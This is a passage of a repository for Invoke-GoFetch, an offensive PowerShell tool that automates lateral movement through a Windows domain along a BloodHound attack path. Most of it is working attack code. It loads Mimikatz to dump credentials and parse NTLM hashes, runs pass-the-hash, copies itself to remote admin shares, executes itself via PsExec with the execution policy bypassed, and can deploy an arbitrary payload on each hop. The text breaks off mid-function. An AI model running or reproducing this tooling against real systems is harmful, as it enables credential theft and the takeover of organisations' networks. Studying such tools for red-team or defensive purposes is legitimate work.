├── Invoke-GoFetch.ps1 ├── Invoke-Mimikatz.ps1 ├── Invoke-PsExec.ps1 ├── LICENSE.md └── README.md /Invoke-GoFetch.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | 4 | File: Invoke-GoFetch.ps1 5 | Version: 1.0 6 | Author: Tal Maor, Twitter: @TalThemaor 7 | Co-Author: Itai Grady, Twitter: @ItaiGrady 8 | License: MIT License 9 | 10 | Depends on BloodHound Graphs realse 1.2.1 - https://github.com/BloodHoundAD/BloodHound/releases 11 | Required Dependencies: Invoke-Mimikatz https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1 12 | Required Dependencies: Mimikatz 2.0 alpha https://github.com/gentilkiwi/mimikatz 13 | Required Dependencies: Invoke-PsExec https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-PsExec.ps1 14 | Optional Dependencies: None 15 | 16 | .DESCRIPTION 17 | 18 | This script leverages Invoke-Mimikatz reflectively load Mimikatz, dump credentails, choose the relevant one according to the BloodHound graph. 19 | This allows you to move from target computer to another according to a BloodHound path provided as input to Invoke-GoFetch. 20 | 21 | .PARAMETER PathToGraph 22 | 23 | Path to the BloodHound exported Graph which includes a path between two users. 24 | 25 | .PARAMETER PathToPayload 26 | 27 | Path to local payload file .exe/.bat/.ps1 to run on next nodes in the path. 28 | 29 | .EXAMPLE 30 | 31 | .\Invoke-GoFetch.ps1 -PathToGraph .\graph.json 32 | 33 | .EXAMPLE 34 | 35 | .\Invoke-GoFetch.ps1 -PathToGraph .\graphExample.json -PathToPayload .\payload.exe 36 | 37 | .NOTES 38 | 39 | This script should be able to run from any version of Windows through Windows 7 that has PowerShell v2 or higher installed and .Net 3.5 or higher. 40 | 41 | Mimikatz version: The Mimikatz DLL within Invoke-Mimikatz in this repo was changed and compiled again to support powershell arguments https://github.com/GoFetchAD/mimikatz 42 | #> 43 | 44 | Param( 45 | [Parameter(Position=0, Mandatory=$false)] 46 | [string] 47 | [alias("pathToBloodHoundGraph")] 48 | $PathToGraph, 49 | [Parameter(Position=0, Mandatory=$false)] 50 | [string] 51 | [alias("PathToAdditionalPayload")] 52 | $PathToPayload 53 | ) 54 | 55 | Function WriteLog($stringToWrite) 56 | { 57 | try 58 | { 59 | if ($writeToLog -eq $true) 60 | { 61 | Add-Content $pathToLog ('{0} {1}' -f (Get-Date -format g),$stringToWrite) 62 | } 63 | } 64 | catch 65 | { 66 | $errorMessage = $_.Exception.Message 67 | $failedItem = $_.Exception.ItemName 68 | Write-Host ("Error - Couldnt write to log file, {0}" -f $errorMessage) 69 | } 70 | } 71 | 72 | Function ConvertTo-Json20([object] $item) 73 | { 74 | add-type -assembly system.web.extensions 75 | $ps_js=new-object system.web.script.serialization.javascriptSerializer 76 | return $ps_js.Serialize($item) 77 | } 78 | 79 | Function ConvertFrom-Json20([object] $item) 80 | { 81 | add-type -assembly system.web.extensions 82 | $ps_js=new-object system.web.script.serialization.javascriptSerializer 83 | 84 | #The comma operator is the array construction operator in PowerShell 85 | return ,$ps_js.DeserializeObject($item) 86 | } 87 | 88 | Function BloodHoundGraphToGoFetchPath 89 | { 90 | <# 91 | .SYNOPSIS 92 | 93 | Creates GoFetch attack path out of BloodHound path between two users. 94 | 95 | Function: BloodHoundGraphToGoFetchPath 96 | Version: 1.0 97 | Author: Tal Maor, Twitter: @TalThemaor 98 | Co-Author: Itai Grady, Twitter: @ItaiGrady 99 | License: MIT License 100 | 101 | .PARAMETER pathToBloodHoundGraph 102 | 103 | Path to the BloodHound exported Graph which includes a path between two users. 104 | 105 | .PARAMETER 106 | 107 | pathToOutputGoFetchPath - Path to output path graph in the GoFetch folder. 108 | 109 | .PARAMETER (optional) pathToAdditionalPayload 110 | 111 | Path to local payload file .exe/.bat/.ps1 to run on next nodes in the path. 112 | 113 | .PARAMETER pathToGoFetchFolder 114 | 115 | Path to GoFetch folder. 116 | 117 | .EXAMPLE 118 | 119 | BloodHoundGraphToGoFetchPath -pathToBloodHoundGraph $pathToGraph -pathToOutputGoFetchPath $pathToAttackFile -pathToAdditionalPayload $PathToPayload -pathToGoFetchFolder $rootFolder 120 | 121 | #> 122 | Param( 123 | [Parameter(Position=0, Mandatory=$true)] 124 | [alias("pathToBloodHoundGraph")] 125 | [string] 126 | $pathToGraph, 127 | [Parameter(Position=1, Mandatory=$true)] 128 | [alias("pathToOutputGoFetchPath")] 129 | [string] 130 | $pathToOutputFileWithGoFetchPath, 131 | [Parameter(Position=2, Mandatory=$false)] 132 | [alias("pathToAdditionalPayload")] 133 | [string] 134 | $pathToPayload, 135 | [Parameter(Position=3, Mandatory=$false)] 136 | [alias("pathToGoFetchFolder")] 137 | [string] 138 | $pathToRootFolder 139 | 140 | ) 141 | $global:startNode = $null 142 | $global:endNode = $null 143 | $sourceNodesDict = @{} 144 | 145 | Function Init 146 | { 147 | Param( 148 | [Parameter(Position=0, Mandatory=$true)] 149 | [System.Collections.Generic.Dictionary[System.String,System.Object]] 150 | $originalGraph 151 | ) 152 | 153 | try 154 | { 155 | ForEach ($edge in $originalGraph.edges) 156 | { 157 | $sourceNodesDict.add($edge.source, $edge) 158 | } 159 | 160 | InitFirstAndLastNodes $originalGraph 161 | } 162 | catch 163 | { 164 | $errorMessage = $_.Exception.Message 165 | $failedItem = $_.Exception.ItemName 166 | throw ("Couldnt init the variable of GoFetch path - {0}" -f $errorMessage) 167 | } 168 | } 169 | 170 | Function InitFirstAndLastNodes($originalGraph) 171 | { 172 | 173 | $degreeOneNodesArray = @() 174 | 175 | # find only source node and target node which has degree 1 (only one edge connected) 176 | ForEach ($node in $originalGraph.nodes) 177 | { 178 | if($node.degree -eq 1) 179 | { 180 | $degreeOneNodesArray += @($node.id) 181 | } 182 | } 183 | 184 | if ($degreeOneNodesArray.Length -eq 2) 185 | { 186 | 187 | if ($sourceNodesDict.Contains($degreeOneNodesArray[0])) 188 | { 189 | $global:startNode = $degreeOneNodesArray[0] 190 | $global:endNode = $degreeOneNodesArray[1] 191 | } 192 | else 193 | { 194 | $global:startNode = $degreeOneNodesArray[1] 195 | $global:endNode = $degreeOneNodesArray[0] 196 | } 197 | } 198 | else 199 | { 200 | throw "Input is not a valid path" 201 | } 202 | } 203 | 204 | Function IDToUser 205 | { 206 | Param( 207 | [Parameter(Position=0, Mandatory=$true)] 208 | [string] 209 | $id, 210 | [Parameter(Position=1, Mandatory=$true)] 211 | [System.Collections.Generic.Dictionary[System.String,System.Object]] 212 | $originalGraph 213 | ) 214 | 215 | if ($originalGraph.spotlight.ContainsKey($id)) 216 | { 217 | return $originalGraph.spotlight[$id][0] 218 | } 219 | 220 | return $null 221 | } 222 | 223 | Function CreateGoFetchPath 224 | { 225 | $pathOfAttack = @() 226 | 227 | try 228 | { 229 | if (Test-Path $pathToGraph) 230 | { 231 | $originalGraph = ConvertFrom-Json20(Get-Content -Path $pathToGraph -ErrorAction Stop) 232 | } 233 | else 234 | { 235 | throw "Path {0} is not exsits or not a file" -f $originalGraph 236 | } 237 | 238 | Init $originalGraph 239 | $runner = $global:startNode 240 | 241 | if (-not [string]::IsNullOrEmpty($pathToPayload) -and (Test-Path $pathToPayload)) 242 | { 243 | $payloadName = Split-Path $pathToPayload -Leaf 244 | if ((Test-Path ($pathToRootFolder + '\'+ $payloadName)) -eq $false) 245 | { 246 | Copy-Item -Path $pathToPayload -Destination $pathToRootFolder -Force 247 | $message = "Copied {0} to {1}" -f ($payloadName, $pathToRootFolder) 248 | } 249 | else 250 | { 251 | $message = "The file {0} is already exsit in {1} did not override it" -f ($payloadName, $pathToRootFolder) 252 | } 253 | 254 | Write-Host $message 255 | WriteLog $message 256 | } 257 | 258 | 259 | #Write-Host "Attack Plan:" 260 | While ($runner -ne $global:endNode) 261 | { 262 | $step = @{} 263 | ForEach ($k in ("source", "target", "label","id")) { $step.Add($k, $sourceNodesDict[$runner][$k]) } 264 | 265 | $step.Add("sourceName", (IDToUser $step.source $originalGraph)) 266 | $step.Remove("source") 267 | $step.Add("targetName", (IDToUser $step.target $originalGraph)) 268 | $step.Remove("target") 269 | 270 | if ($step.label -eq "AdminTo" -and $payloadName -ne $null) 271 | { 272 | 273 | $step.Add("payloadFileName", $payloadName) 274 | } 275 | $pathOfAttack += @($step) 276 | $runner = $sourceNodesDict[$runner].target 277 | } 278 | 279 | 280 | # In case the BloodHound path does not incldue the first machine which has session of the first user, 281 | # GoFetch adds a dummy node to dump the credentails of the first user. 282 | if ($pathOfAttack.Count -gt 0) 283 | { 284 | $firstUserAdminToNextNode_ConnetedToAttackerMachine = ($pathOfAttack[0]["sourceName"]).ToLower() 285 | $currentUser = ($env:UserName + '@' + (Get-WmiObject win32_computersystem).Domain).ToLower() 286 | if ($pathOfAttack[0].label -ne "HasSession" -and $firstUserAdminToNextNode_ConnetedToAttackerMachine -ne $currentUser) 287 | { 288 | WriteLog " Warnning - Assuming the first user has session on the first machine" 289 | # the first user used to attack - need to get its NTLM from the attacker computer 290 | $attackerMachineFQDN=(Get-WmiObject win32_computersystem).DNSHostName+"."+(Get-WmiObject win32_computersystem).Domain 291 | $step = @{'sourceName' = $attackerMachineFQDN; 'label'= 'HasSession'; 'targetName' =$firstUserAdminToNextNode_ConnetedToAttackerMachine} 292 | $pathOfAttack = @($step) + $pathOfAttack 293 | } 294 | } 295 | 296 | $outputFormat = @{"path" = "";"final" = @(); "exceptions" = @();"status" = @{};"startNode" = @{}} 297 | $outputFormat.path = $pathOfAttack 298 | $outputFormat.startNode.Add("name",(hostname)) 299 | Set-Content $pathToOutputFileWithGoFetchPath (ConvertTo-Json20 $outputFormat -Depth 99) -Force 300 | Write-Host ("GoFetch path was created in {0}" -f $pathToOutputFileWithGoFetchPath) 301 | } 302 | catch 303 | { 304 | $errorMessage = $_.Exception.Message 305 | $failedItem = $_.Exception.ItemName 306 | $logMessage = "Couldn't create GoFetch path - {0}" -f $errorMessage 307 | write-host $logMessage 308 | WriteLog $logMessage 309 | } 310 | } 311 | 312 | CreateGoFetchPath 313 | } 314 | 315 | #Local file names 316 | $rootFolder = Split-Path $MyInvocation.MyCommand.Path -Parent 317 | $pathToGoFetchScript = $rootFolder + "\Invoke-GoFetch.ps1" 318 | $pathToInvokeMimikatz = $rootFolder + "\Invoke-Mimikatz.ps1" 319 | $pathToInvokePsExec = $rootFolder + "\Invoke-PsExec.ps1" 320 | $pathToLog = $rootFolder + "\GoFetchLog.log" 321 | $pathToPsExecLog = $rootFolder + "\PsExecLog.log" 322 | $pathToFileWithReturnedResult = $rootFolder + "\GoFetchOutput.json" 323 | $pathToAttackFile = $rootFolder + "\GoFetchPath.json" 324 | #Remote file names 325 | $rootFolderOnRemote = "C:\GoFetch" 326 | $remoteFolderPathToGoFetch = "\\{0}\c$\GoFetch" 327 | $remotePathToGoFetch = $rootFolderOnRemote + "\Invoke-GoFetch.ps1" 328 | $remotePathToLogFile = $remoteFolderPathToGoFetch + "\GoFetchLog.log" 329 | $remotePathToGoFetchScript = $remoteFolderPathToGoFetch + "\Invoke-GoFetch.ps1" 330 | $remotePathToInvokeMimikatz = $remoteFolderPathToGoFetch + "\Invoke-Mimikatz.ps1" 331 | $remotePathToInvokePsExec = $remoteFolderPathToGoFetch + "\Invoke-PsExec.ps1" 332 | $remotePathToAttackFile = $remoteFolderPathToGoFetch + "\GoFetchPath.json" 333 | $remotePathToOutputFile = $remoteFolderPathToGoFetch + "\GoFetchOutput.json" 334 | #Global variables 335 | $global:writeToLog = $true 336 | 337 | <# 338 | Import-Module Invoke-Mimikatz 339 | Published: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1 340 | 341 | Function: Invoke-Mimikatz 342 | Author: Joe Bialek, Twitter: @JosephBialek 343 | Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi 344 | Mimikatz License: http://creativecommons.org/licenses/by/3.0/fr/ 345 | Required Dependencies: Mimikatz (included) 346 | Optional Dependencies: None 347 | Mimikatz version: 2.0 alpha (12/14/2015) 348 | 349 | Copyright (c) 2012, Matthew Graeber 350 | All rights reserved. 351 | 352 | Modifications: The Mimikatz DLL was changed and compiled again - please use the one provided with Invoke-GoFetch 353 | 354 | #> 355 | Import-Module -Name $pathToInvokeMimikatz -Force 356 | 357 | <# 358 | 359 | Import-Module Invoke-PsExec 360 | Published: https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-PsExec.ps1 361 | 362 | Function: Invoke-PsExec 363 | Author: @harmj0y 364 | License: BSD 3-Clause 365 | 366 | Copyright (c) 2015, Will Schroeder and Justin Warner 367 | All rights reserved. 368 | 369 | Modifications: None 370 | 371 | #> 372 | Import-Module -Name $pathToInvokePsExec -Force 373 | 374 | Function Invoke-GoFetch 375 | { 376 | <# 377 | 378 | .SYNOPSIS 379 | 380 | Function: Invoke-GoFetch 381 | Author: Tal Maor, Twitter: @TalThemaor 382 | Co-Author: Itai Grady, Twitter: @ItaiGrady 383 | License: MIT License 384 | 385 | .DESCRIPTION 386 | 387 | This function is a recursion which expects to get GoFetch path between two users from a predefined file name and location. 388 | This version supports the following BloodHound labels: MemberOf, HasSession and AdminTo. 389 | In each iteration, GoFetch reads the first step in the path and preforms the required operations according to the step label. 390 | 391 | MemberOf - takes details from this step, move them to the next step and save the path. 392 | HasSession - takes the username details, dumps credentials from memory, update the next step with the relevant NTLM and starts a new session with the stolen creds. 393 | AdminTo - copy GoFetch and its dependencies to the next machine according to the path, execute GoFetch remotely and waits for the remote process to create output file as a completion sign. 394 | 395 | 396 | .EXAMPLE 397 | 398 | .\Invoke-GoFetch.ps1 399 | 400 | .NOTES 401 | 402 | This function expect to find: Invoke-Mimikatz, Invoke-Psexec and GoFetchPath.json files in the same folder it's located. 403 | #> 404 | 405 | # Inspired by http://pwndizzle.blogspot.com/2015/10/parse-mimikatz-output-one-liner.html 406 | Function Parse-Mimikatz 407 | { 408 | Param( 409 | [Parameter(Position=0, Mandatory=$true)] 410 | [string] 411 | $mimikatzOutputData 412 | ) 413 | 414 | $regexPattern = '(User Name : (?(\S)*)|Primary(\s+)\* Username : (?(\S)*)|NTLM : (?(\S)*))' 415 | $matchs = Select-String -input $mimikatzOutputData -Pattern $regexPattern -AllMatches 416 | $dictUserAndNTLM = @{} 417 | $index = 0 418 | 419 | for($i=0; $i -lt $matchs.Matches.length -1; $i = $i + 1) 420 | { 421 | if ($matchs.Matches[$i].Groups.Item("name")) 422 | { 423 | $userName = $matchs.Matches[$i].Groups["name"].value.ToLower() 424 | } 425 | 426 | if ($matchs.Matches[$i+1].Groups.Item("ntlm")) 427 | { 428 | $NTLM = $matchs.Matches[$i+1].Groups["ntlm"].value 429 | } 430 | 431 | if ($userName -and $NTLM -and -not $dictUserAndNTLM.ContainsKey($userName)) 432 | { 433 | $dictUserAndNTLM.Add($userName,$NTLM) 434 | $userName = $null 435 | $NTLM = $null 436 | } 437 | } 438 | return $dictUserAndNTLM 439 | } 440 | 441 | Function CopyAndRunAdditionalPayload($targetComputer, $additionalPayloadFileName) 442 | { 443 | try 444 | { 445 | $remotePathToPayload = ($remoteFolderPathToGoFetch -f $targetComputer) + "\" + $additionalPayloadFileName 446 | $pathToLocalPayload = $rootFolderOnRemote + "\" + $additionalPayloadFileName 447 | $pathToAdditonalPayload = $rootFolder + "\" + $additionalPayloadFileName 448 | 449 | if (Test-Path $pathToAdditonalPayload) 450 | { 451 | WriteLog ('Copy payload from {0} to {1}' -f ($pathToAdditonalPayload, $remotePathToPayload )) 452 | Copy-Item -Path $pathToAdditonalPayload -Destination $remotePathToPayload -Force 453 | WriteLog ('Copied additional payload from {0} to {1}' -f ($pathToAdditonalPayload, $remotePathToPayload )) 454 | 455 | # todo: change populate $runAdditionalPayloadOnNextNode from input path 456 | $runAdditionalPayloadOnNextNode = $true 457 | if ($runAdditionalPayloadOnNextNode) 458 | { 459 | # Invoke the additional payload 460 | $command = ("cmd.exe /c {0}" -f $pathToLocalPayload) 461 | WriteLog ("Run Invoke-PsExec with command: {0}" -f $command) 462 | $PSEXECoutput = & Invoke-PsExec -ComputerName $targetComputer -Command $command -ResultFile $pathToPsExecLog 463 | WriteLog ("Invoke-PsExec additional payload command: {0}" -f $command) 464 | ForEach ($logLine in $PSEXECoutput) { WriteLog "PsExec: {0}" -f $logLine} 465 | Start-Sleep 3 466 | WriteLog ('CopyAndRunAdditionalPayload - Done on {0}' -f $targetComputer) 467 | } 468 | } 469 | } 470 | catch 471 | { 472 | AddDetailsOfException $_.Exception.Message "Failed to run addtional payload, line " $_.InvocationInfo.ScriptLineNumber 473 | } 474 | } 475 | 476 | Function WriteResultsToFinalFile($resultToReturn) 477 | { 478 | $statusDetails = @{} 479 | $statusDetails.Add("Type","Done") 480 | 481 | try 482 | { 483 | $statusDetails.Add("Message","GoFetch finished") 484 | if ([bool]($resultToReturn.PSobject.Properties.name -match "status")) 485 | { 486 | $resultToReturn.status = $statusDetails 487 | } 488 | 489 | if ($pathOfAttack -eq $null) 490 | { 491 | throw "Path Of attack is empty - " + $_.Exception.Message 492 | } 493 | 494 | $resultToReturn = (ConvertTo-Json20 $pathOfAttack -Depth 99) 495 | set-content $pathToFileWithReturnedResult $resultToReturn 496 | } 497 | catch 498 | { 499 | $resultToReturn = '{"path" : [] ,"final" = [], "exceptions" : {0},"status": {"Type" : "Exception"}}' -f ($_.Exception.Message) 500 | set-content $pathToFileWithReturnedResult $resultToReturn 501 | } 502 | 503 | WriteLog 'Local GoFetchOutput.log file was created' 504 | } 505 | 506 | Function PromptFinalMessage($GoFetchOutput, $isException) 507 | { 508 | try 509 | { 510 | if ($isException -eq $true) 511 | { 512 | $messageToPrompt = $pathOfAttack.exceptions 513 | } 514 | else 515 | { 516 | $finalOutput = $GoFetchOutput.final 517 | $lastTarget = $finalOutput[$finalOutput.Length -1].TargetName 518 | $lastTargetNTLM = $finalOutput[$finalOutput.Length -1].TargetNTLMhash 519 | $exceptions = $GoFetchOutput.exceptions 520 | $numberOfExceptions = $exceptions.Length 521 | 522 | if ($lastTarget -and $lastTargetNTLM) 523 | { 524 | $messageToPrompt = ("The last target is {0} NTLM hash {1} `nFor the whole output look at {2} `nNumber of exceptions {3}" -f $lastTarget, $lastTargetNTLM, $pathToFileWithReturnedResult, $numberOfExceptions) 525 | } 526 | elseif ($lastTarget) 527 | { 528 | 529 | $messageToPrompt = ("The last target is {0} could not get the NTLM hash `nFor the whole output look at {1} `nNumber of exceptions {2}" -f $lastTarget, $pathToFileWithReturnedResult,$numberOfExceptions) 530 | } 531 | else 532 | { 533 | $messageToPrompt = ("Something went wrong `nNumber of exceptions {0}" -f $numberOfExceptions) 534 | } 535 | } 536 | #msg * $messageToPrompt 537 | WriteLog ('Prompt message: {0}' -f $messageToPrompt) 538 | [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 539 | [Windows.Forms.MessageBox]::Show($messageToPrompt.ToString(), "Invoke-GoFetch", [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Information) 540 | } 541 | catch 542 | { 543 | WriteLog('Error in final message') 544 | } 545 | } 546 | 547 | Function CopyAndExecuteNext($targetComputer, $targetUser, $additionalPayloadFileName) 548 | { 549 | try 550 | { 551 | # Copy files to target 552 | New-Item -ItemType Directory -Force -Path ($remoteFolderPathToGoFetch -f $targetComputer) 553 | Copy-Item -Path $pathToGoFetchScript -Destination ($remotePathToGoFetchScript -f $targetComputer) -Force 554 | Copy-Item -Path $pathToInvokeMimikatz -Destination ($remotePathToInvokeMimikatz -f $targetComputer) -Force 555 | Copy-Item -Path $pathToInvokePsExec -Destination ($remotePathToInvokePsExec -f $targetComputer) -Force 556 | Copy-Item -Path $pathToAttackFile -Destination ($remotePathToAttackFile -f $targetComputer) -Force 557 | 558 | # make sure output is not exist 559 | $pathToOutputOnNextNode = ($remotePathToOutputFile -f $targetComputer) 560 | if (Test-Path $pathToOutputOnNextNode) { Remove-Item $pathToOutputOnNextNode} 561 | 562 | # Copy and run payload 563 | CopyAndRunAdditionalPayload $targetComputer $additionalPayloadFileName 564 | 565 | # Run GoFetch on next node 566 | Invoke-PsExec -ComputerName $targetComputer -Command ('cmd.exe /c "echo . | powershell -ExecutionPolicy bypass {0}"' -f $remotePathToGoFetch) 567 | WriteLog ('CopyAndExecuteNext - Done Invoke-PsExec on {0} ' -f $targetComputer) 568 | 569 | # Wait to GoFetchOutput.log of the next node to be created - sign to go home 570 | $remotePathToCompletionFile = ($remotePathToOutputFile -f $targetComputer) 571 | WriteLog ('Waiting to GoFetchOutput.log file in {0}' -f $remotePathToCompletionFile) 572 | 573 | While (!(Test-Path $remotePathToCompletionFile)) {Start-Sleep 10} 574 | 575 | } 576 | catch 577 | { 578 | AddDetailsOfException $_.Exception.Message "Failed in Attacking the next node, line " $_.InvocationInfo.ScriptLineNumber 579 | WriteResultsToFinalFile $pathOfAttack 580 | } 581 | 582 | # Do finals and create completion file localy 583 | $remoteCompletionFile = Get-Content -Path $remotePathToCompletionFile 584 | $pathOfAttack = (ConvertFrom-Json20 $remoteCompletionFile) 585 | 586 | if (Test-Path ($remotePathToLogFile -f $targetComputer)) 587 | { 588 | $logOfNextNode = Get-Content -Path ($remotePathToLogFile -f $targetComputer) 589 | $logOfNextNode | ForEach {WriteLog (" |{0}| - {1}" -f ($targetComputer ,$_))} 590 | } 591 | 592 | # Remove GoFetch folder created on the next node 593 | Remove-Item ($remoteFolderPathToGoFetch -f $targetComputer) -Recurse 594 | 595 | # Print final message if returned to the first node 596 | if ((hostname) -eq $pathOfAttack.startNode.name) 597 | { 598 | PromptFinalMessage $pathOfAttack $false 599 | } 600 | 601 | if($pathOfAttack.status.Type -eq "Exception") 602 | { 603 | PromptFinalMessage $pathOfAttack $true 604 | } 605 | 606 | WriteResultsToFinalFile $pathOfAttack 607 | 608 | Exit 609 | } 610 | 611 | Function AddDetailsOfNodesToFinal($targetName,$targetComputer,$domainName,$TargetNTLMhash) 612 | { 613 | $nodeDetails = @{} 614 | $nodeDetails.Add("TargetName",$targetName) 615 | $nodeDetails.Add("TargetComputer",$targetComputer) 616 | $nodeDetails.Add("DomainName",$domainName) 617 | $nodeDetails.Add("TargetNTLMhash",$TargetNTLMhash) 618 | $nodeDetails.Add("Label","Final") 619 | 620 | $pathOfAttack.final = $pathOfAttack.final += $nodeDetails 621 | return $pathOfAttack 622 | } 623 | 624 | Function AddDetailsOfException($originalExceptionMessage, $theScriptMessage) 625 | { 626 | $nodeDetails = @{} 627 | $nodeDetails.Add("Hostname",(hostname)) 628 | $nodeDetails.Add("Exception",$originalExceptionMessage) 629 | $nodeDetails.Add("Message",$theScriptMessage) 630 | $nodeDetails.Add("Label","Exception") 631 | 632 | $pathOfAttack.exceptions = $pathOfAttack.exceptions += $nodeDetails 633 | WriteLog ('Exception was added {0}' -f (ConvertTo-Json20 $nodeDetails -Depth 99)) 634 | return $pathOfAttack 635 | } 636 | 637 | $pathOfAttack = $null 638 | $isAdditionalPayloadExist = $false 639 | 640 | <# 641 | Main Function of GoFetch that iterate on the attack path, copy GoFetch to the next node, execute GoFetch again and waits for results on the next node. 642 | #> 643 | Function Main 644 | { 645 | 646 | try 647 | { 648 | WriteLog ('GoFetch started on {0}' -f (hostname)) 649 | Write-Host ('GoFetch started on {0} the log file is in {1}' -f ((hostname),$pathToLog)) 650 | 651 | 652 | #GoFetch should work on PS3 as long as .Net 3.5 is installed 653 | # if system.web.extensions is missing GoFetch can't read/write the input/output then it has to create special output and return home 654 | try 655 | { 656 | add-type -assembly system.web.extensions 657 | } 658 | catch 659 | { 660 | $exceptionMessage = "GoFetch requires .Net 3.5 or above, Missing on {0}" -f $env:computername 661 | $resultToReturn = '{"path" : [] ,"final" = [], "exceptions" : {0},"status": {"Type" : "Exception"}}' -f ($exceptionMessage) 662 | Set-Content $pathToFileWithReturnedResult $resultToReturn 663 | return 664 | } 665 | 666 | $pathOfAttack = ConvertFrom-Json20 (Get-Content -Path $pathToAttackFile -ErrorAction Stop) 667 | 668 | WriteLog 'Attack path loaded - Verifying path' 669 | if ($pathOfAttack -eq $null -or $pathOfAttack.Length -eq 0 -or $pathOfAttack.path.Length -eq 0) 670 | { 671 | $exceptionMessage = "Invalid attack path" 672 | $resultToReturn = '{"path" : [] ,"final" = [], "exceptions" : {0},"status": {"Type" : "Exception"}}' -f ($exceptionMessage) 673 | Set-Content $pathToFileWithReturnedResult $resultToReturn 674 | return 675 | } 676 | 677 | } 678 | catch 679 | { 680 | $errorMessage = $_.Exception.Message 681 | Write-Host ("Error: Couldn't load files - Make sure that Invoke-GoFetch.ps1 and {0} are in {1} and that GoFetchPath is in the right format " -f ($pathToAttackFile,$rootFolder)) 682 | Write-Host $_.Exception.Message 683 | WriteResultsToFinalFile $errorMessage 684 | return 685 | } 686 | 687 | if ($pathOfAttack.path[0].label -eq "MemberOf") 688 | { 689 | try 690 | { 691 | WriteLog 'GoFetch in MemberOf' 692 | # Get relevant data from this step 693 | $targetUserWithDomain = $pathOfAttack.path[0].sourceName 694 | $NTLMTargetUser = $pathOfAttack.path[0].TargetNTLMhash 695 | 696 | # Remove the first node 697 | $pathOfAttack.path = $pathOfAttack.path[1..$pathOfAttack.path.Length] 698 | 699 | # Update next step with the data 700 | $pathOfAttack.path[0].sourceName = $targetUserWithDomain 701 | $pathOfAttack.path[0].Add("TargetNTLMhash",$NTLMTargetUser) 702 | 703 | # Write the new path after changed to file - optional 704 | Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99) 705 | } 706 | catch 707 | { 708 | AddDetailsOfException $_.Exception.Message "Failed in MemberOf case, line " $_.InvocationInfo.ScriptLineNumber 709 | WriteResultsToFinalFile $pathOfAttack 710 | } 711 | } 712 | 713 | if ($pathOfAttack.path[0].label -eq "HasSession") 714 | { 715 | try 716 | { 717 | WriteLog 'GoFetch in HasSession' 718 | $targetUser,$targetDomain = $pathOfAttack.path[0].targetName.split("@") 719 | $targetComputer = $pathOfAttack.path[0].sourceName.split(".")[0] 720 | 721 | if ([string]::IsNullOrEmpty($targetUser) -or [string]::IsNullOrEmpty($targetDomain)) 722 | { 723 | $exceptionMessage = "Missing username or domain in HasSession" 724 | WriteLog $exceptionMessage 725 | throw $exceptionMessage 726 | } 727 | 728 | $mimikatzOutput = Invoke-Mimikatz -DumpCred 729 | $parsedMimikatz = Parse-Mimikatz $mimikatzOutput 730 | $NTLMTargetUser = $parsedMimikatz[$targetUser.ToLower()] 731 | 732 | if ([string]::IsNullOrEmpty($NTLMTargetUser)) 733 | { 734 | $exceptionMessage = "Failed to retrieve NTLM hash of user {0}" -f $targetUser 735 | WriteLog $exceptionMessage 736 | throw $exceptionMessage 737 | } 738 | 739 | # Add the target's NTLM hash and write it to output file 740 | $pathOfAttack = AddDetailsOfNodesToFinal $targetUser $targetComputer $targetDomain $NTLMTargetUser 741 | 742 | # Move to the next node 743 | $pathOfAttack.path = $pathOfAttack.path[1..$pathOfAttack.path.Length] 744 | 745 | if ($pathOfAttack.path.Length -eq 0) 746 | { 747 | # If the path is empty then the current node is the last. 748 | if ($pathOfAttack.final.Length -gt 0) 749 | { 750 | WriteLog " --The END-- " 751 | WriteResultsToFinalFile $pathOfAttack 752 | # update the path file so the process after PTH will perform psexec. 753 | Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99) 754 | WriteLog "Exiting from GoFetch" 755 | Exit 756 | } 757 | } 758 | else 759 | { 760 | $pathOfAttack.path[0].Add("TargetNTLMhash",$NTLMTargetUser) 761 | } 762 | 763 | # Update the path file so the process created for the Pass-The-Hash (PTH) will get updated input. 764 | Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99) 765 | 766 | # Do PTH 767 | $command =('"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}"' -f $targetUser, $targetDomain, $NTLMTargetUser, $pathToGoFetchScript) 768 | WriteLog $command 769 | Write-Host "GoFetch is about to create a new process with the stolen creds, the current process will be closed." 770 | $mimikatzOutput = Invoke-Mimikatz -Command $command 771 | WriteLog ("Mimikatz PTH output: {0}" -f $mimikatzOutput) 772 | } 773 | catch 774 | { 775 | AddDetailsOfException $_.Exception.Message "Failed in HasSession case, line " $_.InvocationInfo.ScriptLineNumber 776 | WriteResultsToFinalFile $pathOfAttack 777 | } 778 | } 779 | elseif ($pathOfAttack.path[0].label -eq "AdminTo") 780 | { 781 | try 782 | { 783 | WriteLog "GoFetch in AdminTo" 784 | $targetUser,$targetDomain = $pathOfAttack.path[0].sourceName.split("@") 785 | $targetComputer = $pathOfAttack.path[0].targetName.split(".")[0] 786 | 787 | if ([string]::IsNullOrEmpty($targetUser) -or [string]::IsNullOrEmpty($targetDomain) -or [string]::IsNullOrEmpty($targetComputer)) 788 | { 789 | $exceptionMessage = "Missing username, domain, computername in AdminTo" 790 | WriteLog $exceptionMessage 791 | throw $exceptionMessage 792 | } 793 | 794 | # Check if payload should be running on the next node 795 | $runPayloadFileName = $null 796 | if (-not [string]::IsNullOrEmpty($pathOfAttack.path[0].payloadFileName)) 797 | { 798 | $runPayloadFileName = $pathOfAttack.path[0].payloadFileName 799 | } 800 | 801 | # Remove the first node 802 | $pathOfAttack.path = $pathOfAttack.path[1..$pathOfAttack.path.Length] 803 | Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99) 804 | 805 | WriteLog ("CopyAndExecuteNext with targetComputer: {0} and targetUser: {1} and payload: {2}" -f $targetComputer,$targetUser,$runPayloadFileName) 806 | CopyAndExecuteNext $targetComputer $targetUser 